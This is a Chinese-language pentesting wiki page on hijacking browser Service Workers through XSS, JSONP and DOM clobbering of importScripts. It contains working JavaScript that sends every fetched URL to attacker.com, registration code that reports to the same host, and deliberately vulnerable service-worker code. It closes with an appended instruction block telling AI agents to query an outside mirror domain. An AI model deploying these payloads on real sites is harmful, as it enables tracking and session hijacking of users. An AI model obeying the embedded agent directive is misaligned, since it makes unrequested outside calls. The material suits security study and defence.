# Abusing Service Workers

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中被宣传**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向**hacktricks仓库**和**hacktricks-cloud仓库**提交PR来**分享您的黑客技巧**。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 基本信息

**Service Worker**是浏览器在后台运行的脚本，与任何网页分开，可以实现不需要网页或用户交互的功能，从而增强**离线和后台处理**功能。有关Service Worker的详细信息，请参阅[这里](https://developers.google.com/web/fundamentals/primers/service-workers)。通过利用易受攻击的Web域中的Service Worker，攻击者可以控制受害者与该域内所有页面的交互。

### 检查现有Service Workers

可以在**开发者工具**的**应用程序**选项卡中的**Service Workers**部分检查现有的Service Workers。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获得更详细的视图。

### 推送通知

**推送通知权限**直接影响**Service Worker**与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝，将限制Service Worker对构成持续威胁的潜在性。相反，授予权限会增加安全风险，通过启用接收和执行潜在利用的功能。

## 攻击创建Service Worker

为了利用这个漏洞，您需要找到：

* 一种**上传任意JS**文件到服务器的方法和一个**XSS来加载上传的JS文件的Service Worker**
* 一个**易受攻击的JSONP请求**，您可以**操纵输出（使用任意JS代码）和一个XSS**来**加载带有有效负载的JSONP**，这将**加载恶意Service Worker**。

在以下示例中，我将呈现一个代码来**注册一个新的Service Worker**，该Service Worker将侦听`fetch`事件，并将**发送每个获取的URL到攻击者的服务器**（这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码）:

```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```

以下是将**注册工作线程**的代码（您应该能够执行滥用**XSS**的代码）。在这种情况下，将向**攻击者**服务器发送**GET**请求，通知**服务工作者**的**注册**是否成功：

```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```

在滥用易受攻击的 JSONP 端点的情况下，您应该将值放在 `var sw` 内。例如：

```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```

有一个专门用于利用**Service Workers**的**C2**，名为[**Shadow Workers**](https://shadow-workers.github.io)，将非常有用来滥用这些漏洞。

**24小时缓存指令**将恶意或被入侵的**service worker (SW)** 的寿命限制在至多24小时，在修复XSS漏洞后，假设在线客户端状态。为了最小化漏洞，站点运营者可以降低SW脚本的存活时间（TTL）。开发人员还建议为快速停用创建一个[**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。

## 通过DOM Clobbering滥用SW中的`importScripts`

从Service Worker中调用的函数\*\*`importScripts`**可以**从不同域导入脚本\*\*。如果使用**攻击者可以**修改的参数调用此函数，他将能够**从自己的域导入JS脚本**并获取XSS。

**这甚至可以绕过CSP保护。**

**示例易受攻击的代码:**

* **index.html**

```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```

* **sw\.js**

```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```

### 使用DOM Clobbering

有关DOM Clobbering的更多信息，请查看：

{% content-ref url="/pages/aX5LndYiCzrlYCN4dlJ7" %}
[Dom Clobbering](/pentesting-web/xss-cross-site-scripting/dom-clobbering.md)
{% endcontent-ref %}

如果SW用于调用\*\*`importScripts`**的URL/域位于**HTML元素内\*\*，则可以通过DOM Clobbering进行修改，使SW从**您自己的域**加载脚本。

有关此示例，请查看参考链接。

## 参考资料

* <https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在**HackTricks中宣传您的公司**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks衣服**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
